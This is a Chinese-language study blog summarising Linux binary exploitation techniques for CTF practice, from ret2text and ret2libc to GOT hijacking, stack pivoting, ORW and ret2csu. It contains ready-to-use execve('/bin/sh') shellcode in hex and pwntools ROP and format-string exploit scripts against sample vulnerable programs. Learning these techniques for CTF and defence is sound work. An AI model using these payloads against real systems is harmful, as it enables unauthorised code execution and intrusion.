pwn学习梳理

本博客梳理了我学 pwn 以来的内容 stack ret2text 介绍 在这种方法中,一般会存在已存在的后门函数,例如 system "/bin/sh" ,或者拥有 system 函数,和程序中拥有的字符串 /bin/sh 利用方法 + 计算偏移,覆盖至


本博客梳理了我学 pwn 以来的内容

stack

ret2text

介绍

在这种方法中,一般会存在已存在的后门函数,例如 system("/bin/sh"),或者拥有 system 函数,和程序中拥有的字符串 /bin/sh

利用方法

  • 计算偏移,覆盖至返回地址
  • 跳转至目标函数

ret2shellcode

介绍

如果没有后门函数,我们可以考虑利用 ret2shellcode 利用条件

  • NX 关闭
  • 存在溢出漏洞
  • 有足够的空间大小能容纳 shellcode,包括
    • 栈上缓冲区 (关闭NX 一般权限是 RWX)
    • 或泄漏的地址 (需要此处权限是 RWX,例如泄露的 bss 段地址)

编写 shellcode 方法

  1. 自动生成
from pwn import *
context(os='linux', arch='amd64') # 指定架构

# 直接生成最常用的执行 /bin/sh 的代码
shellcode = asm(shellcraft.sh())

  1. 汇编,hex
; x64
section .text
global _start

_start:
    ; 1. 清空 rsi (argv = NULL)
    xor rsi, rsi            ; 机器码: 48 31 f6
    
    ; 2. 压入 0 作为字符串结尾 '\0'
    push rsi                ; 机器码: 56
    
    ; 3. 压入 "/bin//sh" (小端序)
    ; 使用 // 是为了补齐 8 字节
    mov rdi, 0x68732f2f6e69622f 
    push rdi               
    
    ; 4. 让 rdi 指向栈顶字符串 (path = "/bin//sh")
    mov rdi, rsp            ; 机器码: 48 89 e7
    
    ; 5. 清空 rdx (envp = NULL)
    xor rdx, rdx            ; 机器码: 48 31 d2
    
    ; 6. 设置系统调用号并执行
    xor rax, rax            ; 先清空 rax
    mov al, 59              ; 59 是 execve 的调用号,机器码: b0 3b
    syscall                 ; 机器码: 0f 05

\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05

; x86
section .text
global _start

_start:
    ; 1. 清空 ecx (argv = NULL)
    xor ecx, ecx            ; 机器码: 31 c9
    
    ; 2. 用 mul 清空 eax 和 edx
    ; eax * ecx (0) -> eax=0, edx=0
    mul ecx                 ; 机器码: f7 e1
    
    ; 3. 压入 0 作为字符串结尾 '\0'
    push ecx                ; 机器码: 51
    
    ; 4. 分两次压入 "/bin//sh" (小端序)
    push 0x68732f2f      
    push 0x6e69622f        
    
    ; 5. 让 ebx 指向栈顶字符串
    mov ebx, esp            ; 机器码: 89 e3
    
    ; 6. 设置系统调用号并执行
    mov al, 11              ; 11 是 execve,机器码: b0 0b
    int 0x80                ; 机器码: cd 80

\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80

技巧

  1. NOP 滑梯
    • 在 shellcode 前面 加上大量 \x90 当我们无法定位准确 shellcode 位置,只要进入任意一个 \x90 就会滑进shellcode
      • 同等替代
        • \x40
        • \x38
        • \x37
  2. 坏字符规避
    • gets \x0a
    • scanf \x09, \x0a, \x0b, \x0c, \x0d, \x20
    • strcpy \x00

ret2libc

介绍

当 NX 开启,栈不可执行,我们可以考虑使用程序中存在的函数

  • GOT:真实地址
  • PLT: 程序代码不直接跳到 GOT,而是先跳到 PLT,由 PLT 负责去 GOT 里找地址。

步骤

  1. 泄露 libc 基址,比如使用 puts泄露
  2. 计算目标函数地址
  3. ROP

注意事项

  1. x86
# Payload 结构:system_addr + 伪造的返回地址(4字节) + 参数地址
payload = p32(system_addr) + b'aaaa' + p32(bin_sh_addr)
  1. x64
# Payload 结构:pop_rdi_ret + bin_sh_addr + system_addr
payload = p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)

示例

from pwn import *
elf = ELF('./pwn_file')
libc = ELF('./libc.so.6')

# 1. 泄露地址 (以 puts 为例)
rop = ROP(elf)
# 构造逻辑:调用 puts 打印 puts 在 GOT 里的真实地址
# x64: pop rdi; puts_got; puts_plt; main_addr
# x86: puts_plt; main_ret; puts_got

# 2. 接收地址并计算偏移
puts_real_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_real_addr - libc.symbols['puts']

# 3. 再次攻击
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
# 构造最终 Payload 执行 /bin/sh

one_gadget

介绍

one_gadget 指的是 libc.so 库中存在的一些现成的代码片段(Gadgets)。这些片段本质上是 execve("/bin/sh", NULL, NULL) 的直接调用。

利用条件

每一个 one_gadget 都有触发前提。当你跳转过去时,内存中的某些寄存器或栈位置必须满足特定条件(通常是要求为 NULL)。

  • [rsp+0x40] == NULL
  • rax == NULL
  • [rbp-0x78] == NULL

GOT 表劫持

核心思想

核心思想:利用程序对全局偏移表(GOT)的可写性,将某个函数的真实地址修改为另一个函数的地址(如 system)或 Shellcode 的地址。

条件

  1. RELRO 保护
  • No RELRO: GOT 表完全可写。
  • Partial RELRO: GOT 表部分可写(非初始化部分)。
  • Full RELRO: GOT 表只读。如果开启了 Full RELRO,不行。
  1. 利用逻辑(以将 puts 修改为 system 为例)
  • 找到目标:找到一个程序后续会调用的函数,比如 puts。
  • 获取地址:通过泄露得到 system 的真实地址。
  • 修改 GOT:利用一个“任意地址写”的漏洞(如格式化字符串或特定 ROP),将 puts@got 里的值从 puts_addr 修改为 system_addr。
  • 触发:当程序再次运行到 puts(buf) 时,实际上执行的是 system(buf)。

示例


void backdoor() {
    system("/bin/sh");
}

int main() {
    char buf[100];
    printf("Input something: ");
    
    fgets(buf, 100, stdin);
    printf(buf); 

    // 我们劫持的目标:程序最后调用的函数
    puts("Exiting...");
    exit(0); 
}
状态调用指令GOT 表内容 (exit@got)实际执行
劫持前call exit@plt指向 exit 真实地址程序正常退出
劫持后call exit@plt被修改为 backdoor 地址执行 backdoor()
from pwn import *

io = process('./got_test')
elf = ELF('./got_test')

exit_got = elf.got['exit']
backdoor_addr = elf.symbols['backdoor']

log.info(f"{hex(exit_got)}")
log.info(f"{hex(backdoor_addr)}")

payload = fmtstr_payload(7, {exit_got: backdoor_addr})

io.sendline(payload)
io.interactive()
# 假设格式化字符串的偏移量是 7
payload = fmtstr_payload(7, {exit_got: backdoor_addr})
payload = fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
"""
offset:格式化字符串在栈上的偏移量。
writes 一个字典,格式为 {目标地址 : 要写入的数值}。
    例如:{exit_got : backdoor_addr},表示把 exit 的 GOT 地址内容改为后门地址。 numbwritten:已经输出的字符数。通常为 0。
write_size:写入模式,可选 byte (对应 %hhn), short (对应 %hn), 或 int (对应 %n)。
"""

栈迁移

核心思想

当你的溢出空间非常有限(例如只能溢出 8 字节或 16 字节),放不下长长的 ROP 链时,将 rsp/esp 劫持到一块你预先布置好 Payload 的大内存区域(如 BSS 段或堆区)。

指令

leave  ; mov rsp,rbp
       ; pop rbp
ret
; 执行两次

举例

char bss_buf[0x100]; // BSS 段

void vuln() {
    char stack_buf[0x20]; // 栈上
    printf("First, write something to global buffer: ");
    read(0, bss_buf, 0x100); // 第一次输入
    
    printf("Now, overflow the stack: ");
    read(0, stack_buf, 0x30); // 第二次输入
}
from pwn import *


bss_buf_addr = 0x601080
pop_rdi_ret = 0x400600   # 假设的 gadget 地址
system_addr = 0x400400   # 假设的 system 地址
bin_sh_addr = 0x601100   

leave_ret = 0x400501   


payload1 = p64(0)          
payload1 += p64(pop_rdi_ret)  
payload1 += p64(bin_sh_addr)   
payload1 += p64(system_addr)

#  第二次输入

payload2 = b"A" * 0x20        
payload2 += p64(bss_buf_addr) 
payload2 += p64(leave_ret)     

ret2syscall

核心思想

利用程序中现有的 Gadgets,在栈上构造一个特定的布局,从而直接调用操作系统的系统调用

条件

  1. 溢出漏洞
  2. 静态链接:拥有大量 gadget

原理

控制寄存器

  1. x86
  • eax:系统调用号(execve 的编号是 0xb)。
  • ebx:指向字符串 /bin/sh 的地址。
  • ecx:argv(通常设为 0)。
  • edx:envp(通常设为 0)。
  • 最后执行:int 0x80 指令触发中断。
  1. x64
  • rax系统调用号59 (即 0x3b)
  • rdi参数 1:字符串地址 /bin/sh
  • rsi参数 2:参数数组
  • rdx参数 3:环境变量数组

ret2orw

介绍

当由于开启了沙箱保护,我们无法使用 execve ,我们使用 open read write

条件

  1. Open:调用 open("flag", 0)。
    • 系统会返回一个文件描述符,通常是 3(0 是 stdin, 1 是 stdout, 2 是 stderr)。
  2. Read:调用 read(3, buf_addr, size)。
    • 从文件描述符 3 中读取内容,存放到你指定的一块可读写的内存(比如 bss 段)。
  3. Write:调用 write(1, buf_addr, size)。

示例

# 核心逻辑伪代码
payload = b'A' * offset

payload += p64(pop_rdi_ret) + p64(flag_string_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(2) # open 的系统调用号
payload += p64(syscall)

payload += p64(pop_rdi_ret) + p64(3) # 假设 fd 是 3
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(pop_rax_ret) + p64(0) # read 的系统调用号
payload += p64(syscall)

payload += p64(pop_rdi_ret) + p64(1) # stdout
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(pop_rax_ret) + p64(1) # write 的系统调用号
payload += p64(syscall)

注意

由于 ROP 很长,我们需要大量溢出空间,当溢出空间过小,我们可以考虑使用栈迁移

ret2csu

当我们找不到合适的 gadget 可以考虑使用此方法

介绍

  1. ret2csu 利用的是 C 程序在初始化阶段必然会调用的一段代码:__libc_csu_init
  2. 由于几乎所有动态链接的 Linux 64 位二进制文件都会包含这段函数,它成为了一个通用的 Gadget 库。通过这段代码中的两段特殊指令(通常被称为 Gadget 1 和 Gadget 2),我们可以间接地控制 rbx, rbp, r12, r13, r14, r15 寄存器,并将它们的值传递给 rdx, rsi, edi

原理

  • gadget 1
.text:000000000040061A  pop     rbx
.text:000000000040061B  pop     rbp
.text:000000000040061C  pop     r12
.text:000000000040061E  pop     r13
.text:0000000000400620  pop     r14
.text:0000000000400622  pop     r15
.text:0000000000400624  retn

这一段通常在函数的最末尾,负责从栈上把数据弹进寄存器。

  • gadget 2
.text:0000000000400600  mov     rdx, r13         ; 第 3 个参数
.text:0000000000400603  mov     rsi, r14         ; 第 2 个参数
.text:0000000000400606  mov     edi, r15d        ; 第 1 个参数 (注意这里是 edi,只有 32 位)
.text:0000000000400609  call    qword ptr [r12+rbx*8] ; 调用函数

清晰一点

目标寄存器对应的 CSU 寄存器说明
rdxr13控制第 3 参数。
rsir14控制第 2 参数。
rdir15注意: 这里指令是 mov edi, r15d。这意味着如果你需要传递一个 64 位的地址给 rdi,这个 Gadget 可能会失效,因为它只截取了低 32 位。
跳转目标r12 (+ rbx)我们通常让 rbx = 0,那么 call [r12] 就会调用 r12 指向的地址。

注意

当我们 call 完,程序会继续走

.text:000000000040060D  add     rbx, 1
.text:0000000000400611  cmp     rbx, rbp
.text:0000000000400614  jnz     short loc_400600  ; 如果不相等就跳回 Gadget 2 形成死循环
							 ; 因此我们必须设置 rbx = 0 rbp = 1

构造顺序

先填 1,后 2

# 假设我们要调用 write(1, __got_write, 8)
payload = b'A' * padding         # 溢出到返回地址
payload += p64(gadget1_addr)     # 第一步:跳到末尾的 pop 系列
payload += p64(0)                # pop rbx: 设为 0
payload += p64(1)                # pop rbp: 设为 1,为了通过之后的 cmp
payload += p64(got_write)        # pop r12: 你想调用的函数指针所在的地址 (GOT表)
payload += p64(8)                # pop r13: 传给 rdx (第 3 参数)
payload += p64(got_write)        # pop r14: 传给 rsi (第 2 参数)
payload += p64(1)                # pop r15: 传给 edi (第 1 参数)
payload += p64(gadget2_addr)     # 第二步:跳回上面的 mov 系列执行 call

之后会继续滑到 gadget 1,我们需要对 6 个 pop 填充垃圾数据,直接 p64(0) 就行了

多系统调用

介绍

当程序中没有现成的 /bin/sh , 我i们需要自己构造

举例

# 调用 read(0, bss, 8)
payload += p64(pop_rdi_ret) + p64(0)          # rdi = 0 (stdin)
payload += p64(pop_rsi_rdx_ret) + p64(bss) + p64(8) # rsi = bss, rdx = 8
payload += p64(pop_rax_ret) + p64(0)          # rax = 0 (read)
payload += p64(syscall_ret)                   # 执行 read 此时程序会停下来等输入

# 调用 execve(bss, 0, 0) 
payload += p64(pop_rdi_ret) + p64(bss)        # rdi = bss 
payload += p64(pop_rsi_rdx_ret) + p64(0) + p64(0)   # rsi = 0, rdx = 0
payload += p64(pop_rax_ret) + p64(59)         # rax = 59 (execve)
payload += p64(syscall_ret)                   # 执行 execve

以上是我目前梳理的全部内容